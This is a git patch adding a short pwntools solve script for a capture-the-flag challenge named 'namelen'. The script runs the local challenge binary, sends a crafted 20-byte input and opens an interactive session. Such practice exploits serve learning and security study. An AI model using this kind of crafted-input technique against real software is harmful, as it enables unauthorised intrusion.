From e076f1ee01dc8399492fd9f43897614c9c2e1701 Mon Sep 17 00:00:00 2001 From: jc Date: Thu, 20 Mar 2025 21:43:03 +0300 Subject: [PATCH] solve script --- random_challs/namelen/a.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 random_challs/namelen/a.py diff --git a/random_challs/namelen/a.py b/random_challs/namelen/a.py new file mode 100644 index 0000000..0bae066 --- /dev/null +++ b/random_challs/namelen/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./namelen", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*7 +buf += b"i" +buf += b"A"*(20-len(buf)) +s(buf) + +r.interactive() \ No newline at end of file